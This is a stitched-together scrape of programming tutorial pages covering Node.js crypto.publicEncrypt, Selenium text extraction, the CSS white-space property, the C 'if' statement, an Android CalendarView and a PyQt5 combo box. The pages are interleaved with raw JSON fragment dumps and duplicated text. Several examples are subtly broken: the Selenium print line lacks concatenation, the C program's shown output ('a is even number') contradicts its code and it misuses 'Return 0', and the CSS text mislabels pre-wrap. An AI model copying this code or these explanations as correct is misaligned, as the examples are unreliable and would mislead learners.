encrypted text const encrypted = encryptString(plainText, "./public_key"); // Printing plain text console.log("Plaintext:", plainText); // Printing the encrypted text console.log("Encrypted: ", encrypted); C:\home\node>> node publicEncrypt.js Plaintext: TutorialsPoint Encrypted: kgnqPxy/n34z+/5wd7MZiMAL5LrQisTLfZiWoSChXSvxgtifMQaZ56cbF+twA55olM0rFfnuV6qqtc a8SXIHQrk= Let's take a look at one more example. // Node.js program to demonstrate the flow of crypto.publicEncrypt() method // Importing crypto and fs module const crypto = require('crypto'); const fs = require("fs"); // Creating below function for generating keys function generateKeyFiles() { const keyPair = crypto.generateKeyPairSync('rsa', { modulusLength: 520, publicKeyEncoding: { type: 'spki', format: 'pem' }, privateKeyEncoding: { type: 'pkcs8', format: 'pem', cipher: 'aes-256-cbc', passphrase: '' } }); // Creating the public key file fs.writeFileSync("public_key", keyPair.publicKey); } // Generating keys generateKeyFiles(); // Encrypting string using the below function function encryptString (plaintext, publicKeyFile) { const publicKey = fs.readFileSync(publicKeyFile, "utf8"); //Calling publicEncrypt() with below parameters const encrypted = crypto.publicEncrypt( publicKey, Buffer.from(plaintext)); return encrypted; } // Text that will be encrypted const plainText = "Hello TutorialsPoint!"; // Defining the encrypted text const encrypted = encryptString(plainText, "./public_key"); // Printing plain text console.log("Plaintext:", plainText); // Printing the encrypted buffer console.log("Buffer: ", encrypted); C:\home\node>> node publicEncrypt.js Plaintext: Hello TutorialsPoint! Buffer: <Buffer 33 0b 54 96 0e 8f 34 6c b4 d5 7a cf d4 d5 ef 7b 7e c5 ec 97 cf 75 05 07 df 5a 9e d4 3d cc 3e bb 55 e7 50 1b 64 f0 c8 89 19 61 81 99 e5 88 10 4a 3b 5a ... >
[ { "code": null, "e": 1266, "s": 1062, "text": "The crypto.publicEncrypt() is used for encrypting the given data in buffer parameter by using a public key passed in the parameter. The data returned can be decrypted using the corresponding private key." }, { "code": null, "e": 1300, "s": 1266, "text": "crypto.publicEncrypt(key, buffer)" }, { "code": null, "e": 1346, "s": 1300, "text": "The above parameters are described as below −" }, { "code": null, "e": 2021, "s": 1346, "text": "key – It can contain the below 5 types of data of the following type – Object, String, Buffer or KeyObject.key – This field contains the PEM encoded public or private key. It can be of type string, buffer or keyObject.oaepHash – This field contains the hash function to be used for OAEP padding and MGF1. Default value is: 'sha1'.oaepLabel – This field contains the value for OAEP padding. No lable is used if not specified.passphrase - This is an optional passphrase for the private key.padding – This is an optional value defined in crypto.constants.encoding – This is the type of encoding that needs to be used when buffer, key, oaepLabel or passphrase value are strings." }, { "code": null, "e": 2129, "s": 2021, "text": "key – It can contain the below 5 types of data of the following type – Object, String, Buffer or KeyObject." }, { "code": null, "e": 2241, "s": 2129, "text": "key – This field contains the PEM encoded public or private key. It can be of type string, buffer or keyObject." }, { "code": null, "e": 2353, "s": 2241, "text": "key – This field contains the PEM encoded public or private key. It can be of type string, buffer or keyObject." }, { "code": null, "e": 2466, "s": 2353, "text": "oaepHash – This field contains the hash function to be used for OAEP padding and MGF1. Default value is: 'sha1'." }, { "code": null, "e": 2579, "s": 2466, "text": "oaepHash – This field contains the hash function to be used for OAEP padding and MGF1. Default value is: 'sha1'." }, { "code": null, "e": 2674, "s": 2579, "text": "oaepLabel – This field contains the value for OAEP padding. No lable is used if not specified." }, { "code": null, "e": 2769, "s": 2674, "text": "oaepLabel – This field contains the value for OAEP padding. No lable is used if not specified." }, { "code": null, "e": 2834, "s": 2769, "text": "passphrase - This is an optional passphrase for the private key." }, { "code": null, "e": 2899, "s": 2834, "text": "passphrase - This is an optional passphrase for the private key." }, { "code": null, "e": 2964, "s": 2899, "text": "padding – This is an optional value defined in crypto.constants." }, { "code": null, "e": 3029, "s": 2964, "text": "padding – This is an optional value defined in crypto.constants." }, { "code": null, "e": 3152, "s": 3029, "text": "encoding – This is the type of encoding that needs to be used when buffer, key, oaepLabel or passphrase value are strings." }, { "code": null, "e": 3275, "s": 3152, "text": "encoding – This is the type of encoding that needs to be used when buffer, key, oaepLabel or passphrase value are strings." }, { "code": null, "e": 3416, "s": 3275, "text": "buffer – This field contains the data content to be encrypted. Possible buffer types are: string, TypedArray, Buffer, ArrayBuffer, DataView." }, { "code": null, "e": 3557, "s": 3416, "text": "buffer – This field contains the data content to be encrypted. Possible buffer types are: string, TypedArray, Buffer, ArrayBuffer, DataView." }, { "code": null, "e": 3729, "s": 3557, "text": "Create a file with name – publicEncrypt.js and copy the below code snippet. After creating file, use the following command to run this code as shown in the example below −" }, { "code": null, "e": 3751, "s": 3729, "text": "node publicEncrypt.js" }, { "code": null, "e": 3768, "s": 3751, "text": "publicEncrypt.js" }, { "code": null, "e": 5111, "s": 3768, "text": "// Node.js program to demonstrate the flow of crypto.publicEncrypt() method\n\n// Importing crypto and fs module\nconst crypto = require('crypto');\nconst fs = require(\"fs\");\n\n// Creating below function for generating keys\nfunction generateKeyFiles() {\n\n const keyPair = crypto.generateKeyPairSync('rsa', {\n modulusLength: 520,\n publicKeyEncoding: {\n type: 'spki',\n format: 'pem'\n },\n privateKeyEncoding: {\n type: 'pkcs8',\n format: 'pem',\n cipher: 'aes-256-cbc',\n passphrase: ''\n }\n });\n\n // Creating the public key file with the below name\n fs.writeFileSync(\"public_key\", keyPair.publicKey);\n}\n// Generating keys\ngenerateKeyFiles();\n\n// Encrypting string using the below function\nfunction encryptString (plaintext, publicKeyFile) {\n const publicKey = fs.readFileSync(publicKeyFile, \"utf8\");\n\n //Calling publicEncrypt() with below parameters\n const encrypted = crypto.publicEncrypt(\n publicKey, Buffer.from(plaintext));\n return encrypted.toString(\"base64\");\n}\n\n// Text that will be encrypted\nconst plainText = \"TutorialsPoint\";\n\n// Defining the encrypted text\nconst encrypted = encryptString(plainText, \"./public_key\");\n\n// Printing plain text\nconsole.log(\"Plaintext:\", plainText);\n\n// Printing the encrypted text\nconsole.log(\"Encrypted: \", encrypted);" }, { "code": null, "e": 5275, "s": 5111, "text": "C:\\home\\node>> node publicEncrypt.js\nPlaintext: TutorialsPoint\nEncrypted:\nkgnqPxy/n34z+/5wd7MZiMAL5LrQisTLfZiWoSChXSvxgtifMQaZ56cbF+twA55olM0rFfnuV6qqtc\na8SXIHQrk=" }, { "code": null, "e": 5314, "s": 5275, "text": "Let's take a look at one more example." }, { "code": null, "e": 6625, "s": 5314, "text": "// Node.js program to demonstrate the flow of crypto.publicEncrypt() method\n\n// Importing crypto and fs module\nconst crypto = require('crypto');\nconst fs = require(\"fs\");\n\n// Creating below function for generating keys\nfunction generateKeyFiles() {\n\n const keyPair = crypto.generateKeyPairSync('rsa', {\n modulusLength: 520,\n publicKeyEncoding: {\n type: 'spki',\n format: 'pem'\n },\n privateKeyEncoding: {\n type: 'pkcs8',\n format: 'pem',\n cipher: 'aes-256-cbc',\n passphrase: ''\n }\n });\n\n // Creating the public key file\n fs.writeFileSync(\"public_key\", keyPair.publicKey);\n}\n\n// Generating keys\ngenerateKeyFiles();\n\n// Encrypting string using the below function\nfunction encryptString (plaintext, publicKeyFile) {\n const publicKey = fs.readFileSync(publicKeyFile, \"utf8\");\n\n //Calling publicEncrypt() with below parameters\n const encrypted = crypto.publicEncrypt(\n publicKey, Buffer.from(plaintext));\n return encrypted;\n}\n\n// Text that will be encrypted\nconst plainText = \"Hello TutorialsPoint!\";\n\n// Defining the encrypted text\nconst encrypted = encryptString(plainText, \"./public_key\");\n\n// Printing plain text\nconsole.log(\"Plaintext:\", plainText);\n\n// Printing the encrypted buffer\nconsole.log(\"Buffer: \", encrypted);" }, { "code": null, "e": 6867, "s": 6625, "text": "C:\\home\\node>> node publicEncrypt.js\nPlaintext: Hello TutorialsPoint!\nBuffer: <Buffer 33 0b 54 96 0e 8f 34 6c b4 d5 7a cf d4 d5 ef 7b 7e c5 ec 97\ncf 75 05 07 df 5a 9e d4 3d cc 3e bb 55 e7 50 1b 64 f0 c8 89 19 61 81 99 e5 88\n10 4a 3b 5a ... >" } ]
How to extract the text of a webelement in Selenium?
Selenium extracts the text of a webelement with the help of getText() method. Code Implementation with getText(). import org.openqa.selenium.By; import org.openqa.selenium.Keys; import org.openqa.selenium.WebDriver; import org.openqa.selenium.WebElement; import org.openqa.selenium.chrome.ChromeDriver; import java.util.concurrent.TimeUnit; public class ExtractText { public static void main(String[] args) { System.setProperty("webdriver.chrome.driver", "C:\\Users\\ghs6kor\\Desktop\\Java\\chromedriver.exe"); WebDriver driver = new ChromeDriver(); String url = "https://www.tutorialspoint.com/index.htm"; driver.get(url); driver.manage().timeouts().implicitlyWait(12, TimeUnit.SECONDS); //Using id with # for css expression driver.findElement(By.cssSelector("#gsc-i-id1")).sendKeys("Selenium"); // extracting the text entered in console with getText() System.out.println(“The entered text is:” driver.findElement(By.cssSelector("#gsc-i- id1")).getText()); driver.close(); } }
[ { "code": null, "e": 1140, "s": 1062, "text": "Selenium extracts the text of a webelement with the help of getText() method." }, { "code": null, "e": 1176, "s": 1140, "text": "Code Implementation with getText()." }, { "code": null, "e": 2114, "s": 1176, "text": "import org.openqa.selenium.By;\nimport org.openqa.selenium.Keys;\nimport org.openqa.selenium.WebDriver;\nimport org.openqa.selenium.WebElement;\nimport org.openqa.selenium.chrome.ChromeDriver;\nimport java.util.concurrent.TimeUnit;\npublic class ExtractText {\n public static void main(String[] args) {\n System.setProperty(\"webdriver.chrome.driver\", \"C:\\\\Users\\\\ghs6kor\\\\Desktop\\\\Java\\\\chromedriver.exe\");\n WebDriver driver = new ChromeDriver();\n String url = \"https://www.tutorialspoint.com/index.htm\";\n driver.get(url);\n driver.manage().timeouts().implicitlyWait(12, TimeUnit.SECONDS);\n //Using id with # for css expression\n driver.findElement(By.cssSelector(\"#gsc-i-id1\")).sendKeys(\"Selenium\");\n // extracting the text entered in console with getText()\n System.out.println(“The entered text is:” driver.findElement(By.cssSelector(\"#gsc-i- id1\")).getText());\n driver.close();\n }\n}" } ]
CSS white-space Property - GeeksforGeeks
21 Oct, 2021 The white-space property in CSS is used to control the text wrapping and white-spacing ie., this property can be used to set about the handling of the white-space inside the elements. There are several types of values in this property to use. Syntax: white-space: normal| nowrap| pre| pre-line| pre-wrap| initial| inherit; Property Values: All the properties are described well with the example below. normal: This is the default value of this property. When the white-space property of CSS is set to normal, every sequence of two or more white spaces will appear as a single white-space. The content in the element will wrap wherever necessary. Syntax: white-space: normal; Example: This example illustrates the use of the white-space property whose property value is set to normal. HTML <!DOCTYPE html><html><head> <title> CSS | white-space Property </title> <style> div { width: 500px; height: 500px; white-space: normal; background-color: limegreen; color: white; font-size: 80px; } </style></head> <body> <center> <div> GeeksforGeeks: <br> A Computer Science Portal For Geeks. </div> </center></body></html> Output: White-space property CSS with normal value nowrap: When the white-space property of CSS is set to nowrap every sequence of two or more white-spaces will appear as a single white-space. The content in the element will not be wrapped to a new line unless explicitly specified. Syntax: white-space: nowrap; Example: This example illustrates the use of the white-space property whose property value is set to nowrap. HTML <!DOCTYPE html><html><head> <title> CSS | white-space Property </title> <style> div { width: 300px; height: 300px; white-space: nowrap; background-color: lightgreen; color: black; font-size: 25px; } </style></head> <body> <center> <div>GeeksforGeeks: A Computer Science Portal For Geeks. </div> </center></body></html> Output: White-space property with nowrap value pre: This value makes the white-space have the same effect as <pre>tag in HTML. The content in the element will wrap only when specified using line breaks. Syntax: white-space: pre; Example: This example illustrates the use of the white-space property whose property value is set to pre. HTML <!DOCTYPE html><html><head> <title> CSS | white-space Property </title> <style> div { width: 300px; height: 300px; white-space: pre; background-color: lightgreen; color: black; font-size: 25px; } </style></head> <body> <center> <div> GeeksforGeeks: A Computer science portal for geeks. </div> </center></body></html> Output: White-space property with pre-value pre-line: When the white-space property of CSS is set to a pre-line value, every sequence of two or more white-spaces will appear as a single white-space. The content in the element will be wrapped when required and when explicitly specified. Syntax: white-space: pre-line; Example: This example illustrates the use of the white-space property whose property value is set to pre-line. HTML <!DOCTYPE html><html><head> <title> CSS | white-space Property </title> <style> div { width: 300px; height: 300px; white-space: pre-line; background-color: lightgreen; color: black; font-size: 25px; } </style></head> <body> <center> <div> GeeksforGeeks: A science portal for geeks. </div> </center></body></html> Output: White-space property pre-line value pre-wrap: When the white-space property of CSS is set to a pre-line value, every sequence of white-spaces will appear as it is. The content in the element will be wrapped when required and when explicitly specified. Syntax: white-space: pre-wrap; Example: This example illustrates the use of the white-space property whose property value is set to pre-wrap. HTML <!DOCTYPE html><html><head> <title> CSS | white-space Property </title> <style> div { width: 300px; height: 300px; white-space: pre-wrap; background-color: lightgreen; color: black; font-size: 25px; } </style></head> <body> <center> <div> Geeks For Geeks: A science portal for geeks. </div> </center></body></html> Output: White-space pre-wrap value initial: This value sets the white-space property to the default value. Syntax: white-space: initial; inherit: This value sets the white-space property to the value of the parent element. Syntax: white-space: inherit; Supported Browsers: The browser supported by the white-space property are listed below: Google Chrome 1.0 Microsoft Edge 12.0 Firefox 3.5 Internet Explorer 5.5 Opera 9.5 Safari 3.0 bhaskargeeksforgeeks CSS-Properties Picked CSS Web Technologies Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Comments Old Comments Top 10 Projects For Beginners To Practice HTML and CSS Skills How to insert spaces/tabs in text using HTML/CSS? How to create footer to stay at the bottom of a Web page? How to update Node.js and NPM to next version ? Types of CSS (Cascading Style Sheet) Roadmap to Become a Web Developer in 2022 Installation of Node.js on Linux Top 10 Projects For Beginners To Practice HTML and CSS Skills How to fetch data from an API in ReactJS ? How to insert spaces/tabs in text using HTML/CSS?
[ { "code": null, "e": 23596, "s": 23568, "text": "\n21 Oct, 2021" }, { "code": null, "e": 23839, "s": 23596, "text": "The white-space property in CSS is used to control the text wrapping and white-spacing ie., this property can be used to set about the handling of the white-space inside the elements. There are several types of values in this property to use." }, { "code": null, "e": 23847, "s": 23839, "text": "Syntax:" }, { "code": null, "e": 23919, "s": 23847, "text": "white-space: normal| nowrap| pre| pre-line| pre-wrap| initial| inherit;" }, { "code": null, "e": 23998, "s": 23919, "text": "Property Values: All the properties are described well with the example below." }, { "code": null, "e": 24242, "s": 23998, "text": "normal: This is the default value of this property. When the white-space property of CSS is set to normal, every sequence of two or more white spaces will appear as a single white-space. The content in the element will wrap wherever necessary." }, { "code": null, "e": 24250, "s": 24242, "text": "Syntax:" }, { "code": null, "e": 24272, "s": 24250, "text": "white-space: normal; " }, { "code": null, "e": 24381, "s": 24272, "text": "Example: This example illustrates the use of the white-space property whose property value is set to normal." }, { "code": null, "e": 24386, "s": 24381, "text": "HTML" }, { "code": "<!DOCTYPE html><html><head> <title> CSS | white-space Property </title> <style> div { width: 500px; height: 500px; white-space: normal; background-color: limegreen; color: white; font-size: 80px; } </style></head> <body> <center> <div> GeeksforGeeks: <br> A Computer Science Portal For Geeks. </div> </center></body></html>", "e": 24798, "s": 24386, "text": null }, { "code": null, "e": 24806, "s": 24798, "text": "Output:" }, { "code": null, "e": 24849, "s": 24806, "text": "White-space property CSS with normal value" }, { "code": null, "e": 25081, "s": 24849, "text": "nowrap: When the white-space property of CSS is set to nowrap every sequence of two or more white-spaces will appear as a single white-space. The content in the element will not be wrapped to a new line unless explicitly specified." }, { "code": null, "e": 25089, "s": 25081, "text": "Syntax:" }, { "code": null, "e": 25110, "s": 25089, "text": "white-space: nowrap;" }, { "code": null, "e": 25219, "s": 25110, "text": "Example: This example illustrates the use of the white-space property whose property value is set to nowrap." }, { "code": null, "e": 25224, "s": 25219, "text": "HTML" }, { "code": "<!DOCTYPE html><html><head> <title> CSS | white-space Property </title> <style> div { width: 300px; height: 300px; white-space: nowrap; background-color: lightgreen; color: black; font-size: 25px; } </style></head> <body> <center> <div>GeeksforGeeks: A Computer Science Portal For Geeks. </div> </center></body></html>", "e": 25629, "s": 25224, "text": null }, { "code": null, "e": 25637, "s": 25629, "text": "Output:" }, { "code": null, "e": 25676, "s": 25637, "text": "White-space property with nowrap value" }, { "code": null, "e": 25832, "s": 25676, "text": "pre: This value makes the white-space have the same effect as <pre>tag in HTML. The content in the element will wrap only when specified using line breaks." }, { "code": null, "e": 25840, "s": 25832, "text": "Syntax:" }, { "code": null, "e": 25858, "s": 25840, "text": "white-space: pre;" }, { "code": null, "e": 25964, "s": 25858, "text": "Example: This example illustrates the use of the white-space property whose property value is set to pre." }, { "code": null, "e": 25969, "s": 25964, "text": "HTML" }, { "code": "<!DOCTYPE html><html><head> <title> CSS | white-space Property </title> <style> div { width: 300px; height: 300px; white-space: pre; background-color: lightgreen; color: black; font-size: 25px; } </style></head> <body> <center> <div> GeeksforGeeks: A Computer science portal for geeks. </div> </center></body></html>", "e": 26372, "s": 25969, "text": null }, { "code": null, "e": 26380, "s": 26372, "text": "Output:" }, { "code": null, "e": 26416, "s": 26380, "text": "White-space property with pre-value" }, { "code": null, "e": 26659, "s": 26416, "text": "pre-line: When the white-space property of CSS is set to a pre-line value, every sequence of two or more white-spaces will appear as a single white-space. The content in the element will be wrapped when required and when explicitly specified." }, { "code": null, "e": 26667, "s": 26659, "text": "Syntax:" }, { "code": null, "e": 26691, "s": 26667, "text": "white-space: pre-line; " }, { "code": null, "e": 26802, "s": 26691, "text": "Example: This example illustrates the use of the white-space property whose property value is set to pre-line." }, { "code": null, "e": 26807, "s": 26802, "text": "HTML" }, { "code": "<!DOCTYPE html><html><head> <title> CSS | white-space Property </title> <style> div { width: 300px; height: 300px; white-space: pre-line; background-color: lightgreen; color: black; font-size: 25px; } </style></head> <body> <center> <div> GeeksforGeeks: A science portal for geeks. </div> </center></body></html>", "e": 27211, "s": 26807, "text": null }, { "code": null, "e": 27219, "s": 27211, "text": "Output:" }, { "code": null, "e": 27255, "s": 27219, "text": "White-space property pre-line value" }, { "code": null, "e": 27471, "s": 27255, "text": "pre-wrap: When the white-space property of CSS is set to a pre-line value, every sequence of white-spaces will appear as it is. The content in the element will be wrapped when required and when explicitly specified." }, { "code": null, "e": 27479, "s": 27471, "text": "Syntax:" }, { "code": null, "e": 27503, "s": 27479, "text": "white-space: pre-wrap; " }, { "code": null, "e": 27614, "s": 27503, "text": "Example: This example illustrates the use of the white-space property whose property value is set to pre-wrap." }, { "code": null, "e": 27619, "s": 27614, "text": "HTML" }, { "code": "<!DOCTYPE html><html><head> <title> CSS | white-space Property </title> <style> div { width: 300px; height: 300px; white-space: pre-wrap; background-color: lightgreen; color: black; font-size: 25px; } </style></head> <body> <center> <div> Geeks For Geeks: A science portal for geeks. </div> </center></body></html>", "e": 28025, "s": 27619, "text": null }, { "code": null, "e": 28033, "s": 28025, "text": "Output:" }, { "code": null, "e": 28060, "s": 28033, "text": "White-space pre-wrap value" }, { "code": null, "e": 28132, "s": 28060, "text": "initial: This value sets the white-space property to the default value." }, { "code": null, "e": 28140, "s": 28132, "text": "Syntax:" }, { "code": null, "e": 28163, "s": 28140, "text": "white-space: initial; " }, { "code": null, "e": 28249, "s": 28163, "text": "inherit: This value sets the white-space property to the value of the parent element." }, { "code": null, "e": 28257, "s": 28249, "text": "Syntax:" }, { "code": null, "e": 28280, "s": 28257, "text": "white-space: inherit; " }, { "code": null, "e": 28368, "s": 28280, "text": "Supported Browsers: The browser supported by the white-space property are listed below:" }, { "code": null, "e": 28386, "s": 28368, "text": "Google Chrome 1.0" }, { "code": null, "e": 28406, "s": 28386, "text": "Microsoft Edge 12.0" }, { "code": null, "e": 28418, "s": 28406, "text": "Firefox 3.5" }, { "code": null, "e": 28440, "s": 28418, "text": "Internet Explorer 5.5" }, { "code": null, "e": 28450, "s": 28440, "text": "Opera 9.5" }, { "code": null, "e": 28461, "s": 28450, "text": "Safari 3.0" }, { "code": null, "e": 28482, "s": 28461, "text": "bhaskargeeksforgeeks" }, { "code": null, "e": 28497, "s": 28482, "text": "CSS-Properties" }, { "code": null, "e": 28504, "s": 28497, "text": "Picked" }, { "code": null, "e": 28508, "s": 28504, "text": "CSS" }, { "code": null, "e": 28525, "s": 28508, "text": "Web Technologies" }, { "code": null, "e": 28623, "s": 28525, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 28632, "s": 28623, "text": "Comments" }, { "code": null, "e": 28645, "s": 28632, "text": "Old Comments" }, { "code": null, "e": 28707, "s": 28645, "text": "Top 10 Projects For Beginners To Practice HTML and CSS Skills" }, { "code": null, "e": 28757, "s": 28707, "text": "How to insert spaces/tabs in text using HTML/CSS?" }, { "code": null, "e": 28815, "s": 28757, "text": "How to create footer to stay at the bottom of a Web page?" }, { "code": null, "e": 28863, "s": 28815, "text": "How to update Node.js and NPM to next version ?" }, { "code": null, "e": 28900, "s": 28863, "text": "Types of CSS (Cascading Style Sheet)" }, { "code": null, "e": 28942, "s": 28900, "text": "Roadmap to Become a Web Developer in 2022" }, { "code": null, "e": 28975, "s": 28942, "text": "Installation of Node.js on Linux" }, { "code": null, "e": 29037, "s": 28975, "text": "Top 10 Projects For Beginners To Practice HTML and CSS Skills" }, { "code": null, "e": 29080, "s": 29037, "text": "How to fetch data from an API in ReactJS ?" } ]
Explain ‘simple if’ statement in C language
‘if’ keyword is used to execute a set of statements when the logical condition is true. The syntax is given below − if (condition){ Statement (s) } The statement inside the if block are executed only when condition is true, otherwise not. The statement inside the if block are executed only when condition is true, otherwise not. If we want to execute only one statement when condition is true, then braces ({}) can be removed. In general, we should not omit the braces even if, there is a single statement to execute. If we want to execute only one statement when condition is true, then braces ({}) can be removed. In general, we should not omit the braces even if, there is a single statement to execute. When the condition is true the braces ({}) are required to execute more than one statement. When the condition is true the braces ({}) are required to execute more than one statement. Given below is the C program to execute If conditional operators − Live Demo #include<stdio.h> void main (){ int a=4; printf("Enter the value of a: "); scanf("%d",&a); if(a%2==1){ printf("a is odd number"); } Return 0; } You will see the following output − Run 1: Enter the value of a: 56 a is even number Run2: Enter the value of a: 33 Here, if condition becomes false, as a result, statement inside the if block is skipped.
[ { "code": null, "e": 1150, "s": 1062, "text": "‘if’ keyword is used to execute a set of statements when the logical condition is true." }, { "code": null, "e": 1178, "s": 1150, "text": "The syntax is given below −" }, { "code": null, "e": 1213, "s": 1178, "text": "if (condition){\n Statement (s)\n}" }, { "code": null, "e": 1304, "s": 1213, "text": "The statement inside the if block are executed only when condition is true, otherwise not." }, { "code": null, "e": 1395, "s": 1304, "text": "The statement inside the if block are executed only when condition is true, otherwise not." }, { "code": null, "e": 1584, "s": 1395, "text": "If we want to execute only one statement when condition is true, then braces ({}) can be removed. In general, we should not omit the braces even if, there is a single statement to execute." }, { "code": null, "e": 1773, "s": 1584, "text": "If we want to execute only one statement when condition is true, then braces ({}) can be removed. In general, we should not omit the braces even if, there is a single statement to execute." }, { "code": null, "e": 1865, "s": 1773, "text": "When the condition is true the braces ({}) are required to execute more than one statement." }, { "code": null, "e": 1957, "s": 1865, "text": "When the condition is true the braces ({}) are required to execute more than one statement." }, { "code": null, "e": 2024, "s": 1957, "text": "Given below is the C program to execute If conditional operators −" }, { "code": null, "e": 2035, "s": 2024, "text": " Live Demo" }, { "code": null, "e": 2203, "s": 2035, "text": "#include<stdio.h>\nvoid main (){\n int a=4;\n printf(\"Enter the value of a: \");\n scanf(\"%d\",&a);\n if(a%2==1){\n printf(\"a is odd number\");\n }\n Return 0;\n}" }, { "code": null, "e": 2239, "s": 2203, "text": "You will see the following output −" }, { "code": null, "e": 2319, "s": 2239, "text": "Run 1: Enter the value of a: 56\na is even number\nRun2: Enter the value of a: 33" }, { "code": null, "e": 2408, "s": 2319, "text": "Here, if condition becomes false, as a result, statement inside the if block is skipped." } ]
How to use calendar widget using the calendarView class in Android App?
This example demonstrates how do I use calendar widget using the calendarView class in android app. Step 1 − Create a new project in Android Studio, go to File ⇒ New Project and fill all required details to create a new project. Step 2 − Add the following code to res/layout/activity_main.xml. <?xml version="1.0" encoding="utf-8"?> <RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android" xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent" android:layout_height="match_parent" tools:context=".MainActivity"> <TextView android:id="@+id/dateView" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_marginLeft="150dp" android:layout_marginTop="20dp" android:text="Set the Date" android:textColor="@android:color/background_dark" android:textStyle="bold" /> <CalendarView android:id="@+id/calender" android:layout_centerInParent="true" android:layout_width="match_parent" android:layout_height="wrap_content"> </CalendarView> </RelativeLayout> Step 3 − Add the following code to src/MainActivity.java import android.support.annotation.NonNull; import android.support.v7.app.AppCompatActivity; import android.os.Bundle; import android.widget.CalendarView; import android.widget.TextView; public class MainActivity extends AppCompatActivity { CalendarView calendar; TextView dateView; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); calendar = findViewById(R.id.calender); dateView = findViewById(R.id.dateView); calendar.setOnDateChangeListener(new CalendarView.OnDateChangeListener() { @Override public void onSelectedDayChange(@NonNull CalendarView view, int year, int month, int dayOfMonth) { String Date = dayOfMonth + "-" + (month + 1) + "-" + year; dateView.setText(Date); } }); } } Step 4 - Add the following code to androidManifest.xml <?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="app.com.sample"> <application android:allowBackup="true" android:icon="@mipmap/ic_launcher" android:label="@string/app_name" android:roundIcon="@mipmap/ic_launcher_round" android:supportsRtl="true" android:theme="@style/AppTheme"> <activity android:name=".MainActivity"> <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> </application> </manifest> Let's try to run your application. I assume you have connected your actual Android Mobile device with your computer. To run the app from android studio, open one of your project's activity files and click Run icon from the toolbar. Select your mobile device as an option and then check your mobile device which will display your default screen – Click here to download the project code.
[ { "code": null, "e": 1162, "s": 1062, "text": "This example demonstrates how do I use calendar widget using the calendarView class in android app." }, { "code": null, "e": 1291, "s": 1162, "text": "Step 1 − Create a new project in Android Studio, go to File ⇒ New Project and fill all required details to create a new project." }, { "code": null, "e": 1356, "s": 1291, "text": "Step 2 − Add the following code to res/layout/activity_main.xml." }, { "code": null, "e": 2186, "s": 1356, "text": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<RelativeLayout\n xmlns:android=\"http://schemas.android.com/apk/res/android\"\n xmlns:tools=\"http://schemas.android.com/tools\"\n android:layout_width=\"match_parent\"\n android:layout_height=\"match_parent\"\n tools:context=\".MainActivity\">\n <TextView\n android:id=\"@+id/dateView\"\n android:layout_width=\"wrap_content\"\n android:layout_height=\"wrap_content\"\n android:layout_marginLeft=\"150dp\"\n android:layout_marginTop=\"20dp\"\n android:text=\"Set the Date\"\n android:textColor=\"@android:color/background_dark\"\n android:textStyle=\"bold\" />\n <CalendarView\n android:id=\"@+id/calender\"\n android:layout_centerInParent=\"true\"\n android:layout_width=\"match_parent\"\n android:layout_height=\"wrap_content\">\n </CalendarView>\n</RelativeLayout>" }, { "code": null, "e": 2243, "s": 2186, "text": "Step 3 − Add the following code to src/MainActivity.java" }, { "code": null, "e": 3123, "s": 2243, "text": "import android.support.annotation.NonNull;\nimport android.support.v7.app.AppCompatActivity;\nimport android.os.Bundle;\nimport android.widget.CalendarView;\nimport android.widget.TextView;\npublic class MainActivity extends AppCompatActivity {\n CalendarView calendar;\n TextView dateView;\n @Override\n protected void onCreate(Bundle savedInstanceState) {\n super.onCreate(savedInstanceState);\n setContentView(R.layout.activity_main);\n calendar = findViewById(R.id.calender);\n dateView = findViewById(R.id.dateView);\n calendar.setOnDateChangeListener(new CalendarView.OnDateChangeListener() {\n @Override\n public void onSelectedDayChange(@NonNull CalendarView view, int year, int month, int dayOfMonth) {\n String Date = dayOfMonth + \"-\" + (month + 1) + \"-\" + year;\n dateView.setText(Date);\n }\n });\n }\n}" }, { "code": null, "e": 3178, "s": 3123, "text": "Step 4 - Add the following code to androidManifest.xml" }, { "code": null, "e": 3851, "s": 3178, "text": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<manifest xmlns:android=\"http://schemas.android.com/apk/res/android\"\n package=\"app.com.sample\">\n <application\n android:allowBackup=\"true\"\n android:icon=\"@mipmap/ic_launcher\"\n android:label=\"@string/app_name\"\n android:roundIcon=\"@mipmap/ic_launcher_round\"\n android:supportsRtl=\"true\"\n android:theme=\"@style/AppTheme\">\n <activity android:name=\".MainActivity\">\n <intent-filter>\n <action android:name=\"android.intent.action.MAIN\" />\n <category android:name=\"android.intent.category.LAUNCHER\" />\n </intent-filter>\n </activity>\n </application>\n</manifest>" }, { "code": null, "e": 4198, "s": 3851, "text": "Let's try to run your application. I assume you have connected your actual Android Mobile device with your computer. To run the app from android studio, open one of your project's activity files and click Run icon from the toolbar. Select your mobile device as an option and then check your mobile device which will display your default screen –" }, { "code": null, "e": 4239, "s": 4198, "text": "Click here to download the project code." } ]
PyQt5 – How to adjust size of ComboBox according to the items size
22 Apr, 2020 In this article we will see how we can adjust the combo box according to the size of item according to item which has maximum size among the item list. By default we use setGeometry method and setSize method to adjust the size but it will not automatically adjust the size according to the item size. In order to adjust the size according to the maximum length item size we use adjustSize method Syntax : combo_box.adjustSize() Argument : It takes no argument Return : None Below is the implementation – # importing librariesfrom PyQt5.QtWidgets import * from PyQt5 import QtCore, QtGuifrom PyQt5.QtGui import * from PyQt5.QtCore import * import sys class Window(QMainWindow): def __init__(self): super().__init__() # setting title self.setWindowTitle("Python ") # setting geometry self.setGeometry(100, 100, 600, 400) # calling method self.UiComponents() # showing all the widgets self.show() # method for widgets def UiComponents(self): # creating a combo box widget self.combo_box = QComboBox(self) # setting geometry of combo box self.combo_box.setGeometry(200, 150, 200, 50) # geek list geek_list = ["Sayian", "Super Saiyan", "Super Sayian 2", "Super Sayian Blue"] # making it editable self.combo_box.setEditable(True) # adding list of items to combo box self.combo_box.addItems(geek_list) # adjusting the size according to the maximum sized element self.combo_box.adjustSize() # create pyqt5 appApp = QApplication(sys.argv) # create the instance 